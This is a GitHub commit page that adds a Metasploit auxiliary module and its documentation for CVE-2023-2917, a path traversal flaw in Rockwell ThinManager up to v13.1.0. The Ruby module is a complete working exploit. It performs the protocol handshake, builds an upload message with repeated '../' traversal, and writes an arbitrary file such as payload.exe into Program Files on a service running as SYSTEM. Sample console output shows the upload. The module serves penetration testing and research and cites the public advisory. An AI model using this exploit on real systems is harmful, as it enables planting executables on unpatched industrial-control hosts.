Skip to content

Commit 312d052

Browse files
authored
Merge pull request rapid7#20141 from h4x-x0r/CVE-2023-2917
ThinManager Path Traversal Upload (CVE-2023-2917) Module
2 parents bd5d470 + f802e99 commit 312d052

File tree

2 files changed

+224
-0
lines changed

2 files changed

+224
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Vulnerable Application
2+
3+
This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2917) to upload an arbitrary file to the target
4+
system.
5+
6+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
7+
8+
## Testing
9+
10+
The software can be obtained from
11+
[the vendor](https://thinmanager.com/downloads/).
12+
13+
**Successfully tested on**
14+
15+
- ThinManager v13.1.0 on Windows 22H2
16+
- ThinManager v13.0.1 on Windows 22H2
17+
- ThinManager v12.0.0 on Windows 22H2
18+
- ThinManager v12.1.5 on Windows 22H2
19+
- ThinManager v12.0.4 on Windows 22H2
20+
21+
## Verification Steps
22+
23+
1. Install and run the application
24+
2. Start `msfconsole` and run the following commands:
25+
26+
```
27+
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
28+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
29+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
30+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
31+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
32+
```
33+
34+
This should upload the local file specified through LFILE to the server, as specified in RFILE.
35+
36+
## Options
37+
38+
### LFILE
39+
Specifies the local file to upload to the remote server.
40+
41+
### RFILE
42+
Specifies the remote file location where the file will be uploaded to.
43+
44+
## Scenarios
45+
46+
Running the exploit against ThinManager v13.1.0 on Windows 22H2 should result in an output similar to the following:
47+
48+
```
49+
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
50+
[*] Running module against 192.168.137.229
51+
52+
[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
53+
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
54+
[*] 192.168.137.229:2031 - Sending handshake...
55+
[*] 192.168.137.229:2031 - Received handshake response.
56+
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
57+
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
58+
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
59+
[!] 192.168.137.229:2031 - No response received after upload.
60+
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
61+
[*] Auxiliary module execution completed
62+
```
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Report
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'ThinManager Path Traversal (CVE-2023-2917) Arbitrary File Upload',
16+
'Description' => %q{
17+
This module exploits a path traversal vulnerability (CVE-2023-2917) in ThinManager <= v13.1.0 to upload arbitrary files to the target system.
18+
19+
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
20+
},
21+
'Author' => [
22+
'Michael Heinzl', # MSF Module
23+
'Tenable' # Discovery and PoC
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' => [
27+
['CVE', '2023-2917 '],
28+
['URL', 'https://www.tenable.com/security/research/tra-2023-28'],
29+
['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']
30+
],
31+
'DisclosureDate' => '2023-08-17',
32+
'DefaultOptions' => {
33+
'RPORT' => 2031,
34+
'SSL' => 'False'
35+
},
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'Reliability' => [],
39+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
40+
}
41+
)
42+
)
43+
44+
register_options(
45+
[
46+
OptPath.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
47+
OptString.new('RFILE', [false, 'The file path to store the file on the remote system.', '/Program Files/Rockwell Software/ThinManager/payload.exe']),
48+
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
49+
]
50+
)
51+
end
52+
53+
def check
54+
begin
55+
connect
56+
rescue Rex::ConnectionTimeout
57+
print_error("Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed.")
58+
return Exploit::CheckCode::Unknown
59+
end
60+
61+
vprint_status('Sending handshake...')
62+
handshake = [0x100].pack('V')
63+
vprint_status(Rex::Text.to_hex_dump(handshake))
64+
sock.put(handshake)
65+
66+
res = sock.get_once(4096, 5)
67+
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b
68+
69+
if res&.start_with?(expected_header)
70+
vprint_status('Received handshake response.')
71+
vprint_status(Rex::Text.to_hex_dump(res))
72+
disconnect
73+
return Exploit::CheckCode::Detected
74+
elsif res
75+
vprint_status('Received unexpected handshake response:')
76+
vprint_status(Rex::Text.to_hex_dump(res))
77+
disconnect
78+
return Exploit::CheckCode::Safe
79+
else
80+
disconnect
81+
return Exploit::CheckCode::Unknown('No handshake response received.')
82+
end
83+
end
84+
85+
def mk_msg(msg_type, flags, data)
86+
dlen = data.length
87+
hdr = [msg_type, flags, dlen].pack('nnN')
88+
hdr + data
89+
end
90+
91+
def run
92+
begin
93+
connect
94+
rescue Rex::ConnectionTimeout => e
95+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
96+
end
97+
98+
print_status('Sending handshake...')
99+
handshake = [0x100].pack('V')
100+
vprint_status(Rex::Text.to_hex_dump(handshake))
101+
sock.put(handshake)
102+
103+
res = sock.get_once(4096, 5)
104+
if res
105+
print_status('Received handshake response.')
106+
vprint_status(Rex::Text.to_hex_dump(res))
107+
else
108+
print_error('No handshake response received.')
109+
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
110+
end
111+
112+
lfile = datastore['LFILE']
113+
rfile = datastore['RFILE']
114+
file_data = ::File.binread(lfile)
115+
print_status("Read #{file_data.length} bytes from #{lfile}")
116+
117+
traversal = '../' * datastore['DEPTH']
118+
119+
full_path = (traversal + rfile).force_encoding('ASCII-8BIT')
120+
file_data.force_encoding('ASCII-8BIT')
121+
122+
begin
123+
data = [0xaa].pack('N')
124+
data << [0xbb].pack('N')
125+
data << full_path + "\x00"
126+
data << "file_type\x00"
127+
data << "unk_str3\x00"
128+
data << "unk_str4\x00"
129+
data << [file_data.length].pack('N')
130+
data << [file_data.length].pack('N')
131+
data << file_data
132+
data.force_encoding('ASCII-8BIT')
133+
134+
req = mk_msg(38, 0x0021, data)
135+
rescue StandardError => e
136+
fail_with(Failure::BadConfig, "Failed to build upload request: #{e.class} - #{e.message}")
137+
end
138+
139+
print_status("Uploading #{lfile} as #{rfile} on the remote host...")
140+
141+
print_status("Upload request length: #{req.length} bytes")
142+
vprint_status("Upload request:\n#{Rex::Text.to_hex_dump(req)}")
143+
144+
sock.put(req)
145+
146+
begin
147+
res = sock.get_once(4096, 5)
148+
if res
149+
print_good('Received response from target:')
150+
vprint_status(Rex::Text.to_hex_dump(res))
151+
else
152+
print_warning('No response received after upload.')
153+
end
154+
rescue ::EOFError, ::Timeout::Error => e
155+
print_error("Socket error: #{e.class} - #{e.message}")
156+
end
157+
158+
disconnect
159+
print_good("Upload process completed. Check if '#{rfile}' exists on the target.")
160+
end
161+
162+
end

0 commit comments

Comments
 (0)